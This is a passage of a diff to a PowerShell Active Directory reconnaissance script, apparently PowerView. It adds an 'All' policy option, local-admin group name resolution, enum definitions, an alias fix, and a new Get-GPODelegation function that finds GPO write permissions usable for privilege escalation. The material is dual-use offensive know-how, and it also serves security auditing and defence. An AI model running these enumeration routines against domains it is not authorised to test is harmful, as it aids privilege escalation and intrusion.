+Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.
@@ -12216,8 +13712,8 @@ The domain to query for default policies, defaults to the current domain.
.PARAMETER Policy
-Extract 'Domain' or 'DC' (domain controller) policies, otherwise queries for the particular
-GPO name or GUID.
+Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
+Otherwise queries for the particular GPO name or GUID.
.PARAMETER Server
@@ -12227,10 +13723,6 @@ Specifies an Active Directory server (domain controller) to bind to.
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
-.PARAMETER ResolveSids
-
-Switch. Resolve Sids from a DC policy to object names.
-
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
@@ -12252,7 +13744,7 @@ Returns the default domain policy for the dev.testlab.local domain.
Get-DomainGPO | Get-DomainPolicy
-Parses any GptTmpl.infs found for any policies.
+Parses any GptTmpl.infs found for any policies in the current domain.
.EXAMPLE
@@ -12295,9 +13787,6 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file.
[Int]
$ServerTimeLimit,
- [Switch]
- $ResolveSids,
-
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
@@ -12320,7 +13809,10 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file.
$ConvertArguments['Domain'] = $Domain
}
- if ($Policy -eq 'Domain') {
+ if ($Policy -eq 'All') {
+ $SearcherArguments['Identity'] = '*'
+ }
+ elseif ($Policy -eq 'Domain') {
$SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
}
elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
@@ -12330,39 +13822,23 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file.
$SearcherArguments['Identity'] = $Policy
}
- $GPO = Get-DomainGPO @SearcherArguments
+ $GPOResults = Get-DomainGPO @SearcherArguments
- if ($GPO) {
+ ForEach ($GPO in $GPOResults) {
# grab the GptTmpl.inf file and parse it
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
- $ParseArgs = @{'GptTmplPath' = $GptTmplPath}
+ $ParseArgs = @{
+ 'GptTmplPath' = $GptTmplPath
+ 'OutputObject' = $True
+ }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# parse the GptTmpl.inf
Get-GptTmpl @ParseArgs | ForEach-Object {
- if ($PSBoundParameters['ResolveSids']) {
- $Root = $_
- $PrivilegeRightsResovled = @{}
- # if we're resolving sids in PrivilegeRights to names
- if ($Root.'Privilege Rights') {
- $PrivilegeRights = $Root.'Privilege Rights'
- ForEach ($PrivilegeRight in $PrivilegeRights.Keys) {
- $PrivilegeRightsResovled[$PrivilegeRight] = $PrivilegeRights."$PrivilegeRight" | ForEach-Object {
- try {
- $_ | ForEach-Object { ConvertFrom-SID -ObjectSid ($_.Trim('*')) @ConvertArguments }
- }
- catch {
- Write-Verbose "[Get-DomainPolicy] Error resolving SID : $_"
- $_
- }
- }
- }
- }
- $Root.'Privilege Rights' = $PrivilegeRightsResovled
- $Root
- }
- else { $_ }
+ $_ | Add-Member Noteproperty 'GPOName' $GPO.name
+ $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
+ $_
}
}
}
@@ -17557,6 +19033,12 @@ Custom PSObject with translated group property fields from WinNT results.
$HostEnumBlock = {
Param($ComputerName, $GroupName, $Method, $TokenHandle)
+ # Add check if user defaults to/selects "Administrators"
+ if ($GroupName -eq "Administrators") {
+ $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null)
+ $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1]
+ }
+
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
@@ -18765,6 +20247,76 @@ Custom PSObject with translated domain API trust result fields.
}
+function Get-GPODelegation
+{
+<#
+.SYNOPSIS
+
+Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
+
+Author: Itamar Mizrahi (@MrAnde7son)
+License: BSD 3-Clause
+Required Dependencies: None
+
+.PARAMETER GPOName
+
+The GPO display name to query for, wildcards accepted.
+
+.PARAMETER PageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.EXAMPLE
+
+Get-GPODelegation
+
+Returns all GPO delegations in current forest.
+
+.EXAMPLE
+
+Get-GPODelegation -GPOName
+
+Returns all GPO delegations on a given GPO.
+#>
+
+ [CmdletBinding()]
+ Param (
+ [String]
+ $GPOName = '*',
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ $Exclusions = @("SYSTEM","Domain Admins","Enterprise Admins")
+
+ $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
+ $DomainList = @($Forest.Domains)
+ $Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
+ foreach ($Domain in $Domains) {
+ $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
+ $Searcher = New-Object System.DirectoryServices.DirectorySearcher
+ $Searcher.SearchRoot = $Domain
+ $Searcher.Filter = $Filter
+ $Searcher.PageSize = $PageSize
+ $Searcher.SearchScope = "Subtree"
+ $listGPO = $Searcher.FindAll()
+ foreach ($gpo in $listGPO){
+ $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
+ if ($ACL -ne $null){
+ $GpoACL = New-Object psobject
+ $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
+ $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
+ $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
+ $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
+ $GpoACL
+ }
+ }
+ }
+}
+
+
########################################################
#
# Expose the Win32API functions and datastructures below
@@ -18778,6 +20330,58 @@ $Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
+# used to parse the 'samAccountType' property for users/computers/groups
+$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
+ DOMAIN_OBJECT = '0x00000000'
+ GROUP_OBJECT = '0x10000000'
+ NON_SECURITY_GROUP_OBJECT = '0x10000001'
+ ALIAS_OBJECT = '0x20000000'
+ NON_SECURITY_ALIAS_OBJECT = '0x20000001'
+ USER_OBJECT = '0x30000000'
+ MACHINE_ACCOUNT = '0x30000001'
+ TRUST_ACCOUNT = '0x30000002'
+ APP_BASIC_GROUP = '0x40000000'
+ APP_QUERY_GROUP = '0x40000001'
+ ACCOUNT_TYPE_MAX = '0x7fffffff'
+}
+
+# used to parse the 'grouptype' property for groups
+$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
+ CREATED_BY_SYSTEM = '0x00000001'
+ GLOBAL_SCOPE = '0x00000002'
+ DOMAIN_LOCAL_SCOPE = '0x00000004'
+ UNIVERSAL_SCOPE = '0x00000008'
+ APP_BASIC = '0x00000010'
+ APP_QUERY = '0x00000020'
+ SECURITY = '0x80000000'
+} -Bitfield
+
+# used to parse the 'userAccountControl' property for users/groups
+$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
+ SCRIPT = 1
+ ACCOUNTDISABLE = 2
+ HOMEDIR_REQUIRED = 8
+ LOCKOUT = 16
+ PASSWD_NOTREQD = 32
+ PASSWD_CANT_CHANGE = 64
+ ENCRYPTED_TEXT_PWD_ALLOWED = 128
+ TEMP_DUPLICATE_ACCOUNT = 256
+ NORMAL_ACCOUNT = 512
+ INTERDOMAIN_TRUST_ACCOUNT = 2048
+ WORKSTATION_TRUST_ACCOUNT = 4096
+ SERVER_TRUST_ACCOUNT = 8192
+ DONT_EXPIRE_PASSWORD = 65536
+ MNS_LOGON_ACCOUNT = 131072
+ SMARTCARD_REQUIRED = 262144
+ TRUSTED_FOR_DELEGATION = 524288
+ NOT_DELEGATED = 1048576
+ USE_DES_KEY_ONLY = 2097152
+ DONT_REQ_PREAUTH = 4194304
+ PASSWORD_EXPIRED = 8388608
+ TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
+ PARTIAL_SECRETS_ACCOUNT = 67108864
+} -Bitfield
+
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
@@ -18973,7 +20577,7 @@ Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
-Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin
+Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName